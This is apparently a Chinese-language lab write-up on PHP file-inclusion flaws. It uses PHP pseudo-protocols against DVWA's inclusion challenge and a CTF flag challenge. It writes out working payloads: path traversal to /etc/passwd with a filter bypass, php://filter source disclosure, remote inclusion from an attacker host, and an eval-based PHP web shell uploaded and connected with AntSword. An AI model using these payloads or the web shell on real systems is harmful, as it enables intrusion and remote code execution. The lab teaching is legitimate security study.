Abstract: 在 action 测试所有的伪协议,测试 DVWA 的包含漏洞及获取虚拟机中的 flag

Table of Contents

  1. 测试所有伪协议
    1. 基础知识
    2. 测试 action
  2. DVWA 中的包含漏洞
    1. 难度 low
    2. 难度 medium
    3. 难度 high
  3. 获取虚拟机中的 flag

测试所有伪协议

基础知识

  • 1
    2
    file://绝对路径
    file://C:\\Windows\win.ini

    对方服务器上的路径,文件包含时,不能有后缀,如果有后缀,尝试 00 截断以及长文件名截断。

  • 1
    2
    http://指定url
    http://www.123.com/a.txt?

    使用 ?# 绕过后缀,当用在 include 中的同时,要求 php.ini 文件中,allow_url_include=On;当用在 file 类函数中的同时,要求 php.ini 文件中,allow_url_fopen=On

  • 1
    2
    3
    4
    php://
    php://input 接收到 post 数据
    php://filter/read=convert.base64-encode/resource=a.php
    # 读取a.php的内容,并且base64编码,主要作用用来读php文件源代码

    post 提交 uname=zs&upass=123456php://input 收到的内容就是 name=zs&upass=123456,不能有后缀,当用在 include 中的同时,要求 php.ini 文件中,allow_url_include=On ,当用在 file 类函数的同时,要求 php.ini 文件中,allow_url_fopen=On

    php://filter 可以使用相对路径,以及绝对路径,不能有后缀。当用在 include 中同时,要求 php.ini 文件中,allow_url_include=On/Off,当用在 file 类函数中,要求 php.ini 文件中 allow_url_fopen=On/Off

  • 1
    2
    data://
    data://text/plain,abc

    data://text/plain;base64,YWJj就会收到 abc,当用在 include 中,要求 php.ini文件中,allow_url_include=On,当用在 file 类函数中,要求 php.ini 文件中,allow_url_fopen=On

    遇到一个网站该如何入手?

测试 action

打开 action2 网页,收集信息。因为有后缀,所以无法使用 file://绝对路径 读取目标服务器上的文件。

然后修改 action=./news 观察页面变化。

进入页面后,发现没有变化。故该页面可能存在文件包含漏洞。

使用 php://filter/read=convert.base64-encode/resource=news 看是否能读出内容。

把读出来的内容进行解码,可以获取到源码。

使用 data://text/plain,abc<?php phpinfo();?> 判断能否使用远程包含。

打开 action3 网页,收集信息。

使用 ./news 判断是否可能存在文件包含漏洞。

尝试读取源码。

DVWA 中的包含漏洞

难度 low

访问首页,收集信息,由下图可知该服务器系统为 CentOS

修改 page=./include.php ,观察页面的变化。

发现页面无变化,可能存在文件包含漏洞。直接访问 /etc/passwd 文件。修改 page=../../../../../../etc/passwd

读取源码。修改 page=php://filter/read=convert.base64-encode/resource=include.php

解码。

修改 page=data://text/plain,abc <?php phpinfo();?>,判断能否远程文件包含。

在远程服务器上放 show.php ,文件内容为 <?php phpinfo();?>,修改 page=http://your-ip/show.php,查看。

在远程服务器上放 cmd.php,文件内容为 <?php @eval($_POST["cmd"]);?>,修改 page=http://your-ip/show.php,查看。

直接用菜刀/蚁剑连接,连接不成功。转换思路,用文件上传功能上传一个木马,然后找到它,用蚁剑连接即可。

先上传一个正常的图片,发现可以看见路径。很明显该路径为相对路径。

url 和路径拼接起来,

确定后,看到图片,并且上传图片的路径也清晰明了。

上传一个木马,用菜刀/蚁剑连接。

根据前面查到的路径,直接连接。

难度 medium

访问 ./include.php,故可能存在文件包含。

修改 page=../../../../../etc/passwd

改为 page=/etc/passwd 可以取得内容。

再次修改 page=....//....//....//....//....//....//etc/passwd,可以得到内容,所以程序很可能对敏感字符做了处理,但是可以通过双拼绕过。

修改 page=php://filter/read=convert.base64-encode/resource=include.php,查看源码。

解码可得源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

// Check if the right PHP functions are enabled
$WarningHtml = '';
if( !ini_get( 'allow_url_include' ) ) {
$WarningHtml .= "<div class=\"warning\">The PHP function <em>allow_url_include</em> is not enabled.</div>";
}
if( !ini_get( 'allow_url_fopen' ) ) {
$WarningHtml .= "<div class=\"warning\">The PHP function <em>allow_url_fopen</em> is not enabled.</div>";
}

$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: File Inclusion</h1>

{$WarningHtml}

<div class=\"vulnerable_code_area\">
[<em><a href=\"?page=file1.php\">file1.php</a></em>] - [<em><a href=\"?page=file2.php\">file2.php</a></em>] - [<em><a href=\"?page=file3.php\">file3.php</a></em>]
</div>

<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li>
</ul>
</div>\n";

?>

修改 page=data://text/plain,abc <?php phpinfo();?>,查看页面。

修改 page=http://your-ip/show.php ,利用远程包含,发现没有显示内容。

由于 php://filterdata://都显示内容了,所以很可能对 http 这四个字符做了处理。尝试了 http 字符多个位置双拼都不行,可能是对 http:// 做了处理,尝试下 httphttp://:// ,发现可以绕过。修改 page=httphttp://://your-ip/show.php。查看页面。

难度 high

修改 page=./include.php

获取虚拟机中的 flag

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!-- 
$a=isset($_GET["a"])?$_GET["a"]:'';
$b=isset($_GET["b"])?$_GET["b"]:'';
$c=isset($_GET["c"])?$_GET["c"]:'';
$d=isset($_GET["d"])?$_GET["d"]:'';
$e=isset($_GET['e'])?$_GET['e']:'';


if(preg_match('/php/i', $a)){
die("This not allow pseudo protocol!");
}
if(preg_match('/\.\./', $a)){
die("This also not allow!");
}
if((@file_get_contents($a,'r')===$b)&&(@file_get_contents($e,'r')==="I'm Administrator!")){
echo "hello admin!<br>";
if(preg_match("/flag/",$c)){
echo "不能现在就给你flag哦";
exit();
}else{
// get class.php
@include($c);
}
}else{
echo "you are not admin ! <br>";
}
-->

简单的流程图

a 使用远程包含的方法输入值,对 b 直接输入值,对 e 使用与 a 相同的方法。

成功绕过,但是依然无法访问 flag.php

查看 robots.txt 文件。

c=php://filter/read=convert.base64-encode/resource=class.php,查看 class.php 源码。

解码,可得 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#class.php

$m1 = $_GET['m1'];
$m2 = $_GET['m2'];
$cmd = $_GET['cmd'];

if (md5($m1) == md5($m2) && $m1 != $m2) {
# cat flag.php
echo "Place cat flag !";
if (preg_match('/cat/i', $cmd)) {
die('Hacker!');
}
system($cmd);
}

利用 php md5 解密漏洞

绕过 waf

查看源码,获取 flag{danjfb-asdfss-vsdfsa-fdsdaf-cvfsfa}

参考文章

[PHP处理0e开头md5哈希字符串缺陷/bug]

[php中的md5()的安全问题]

文件包含漏洞与PHP伪协议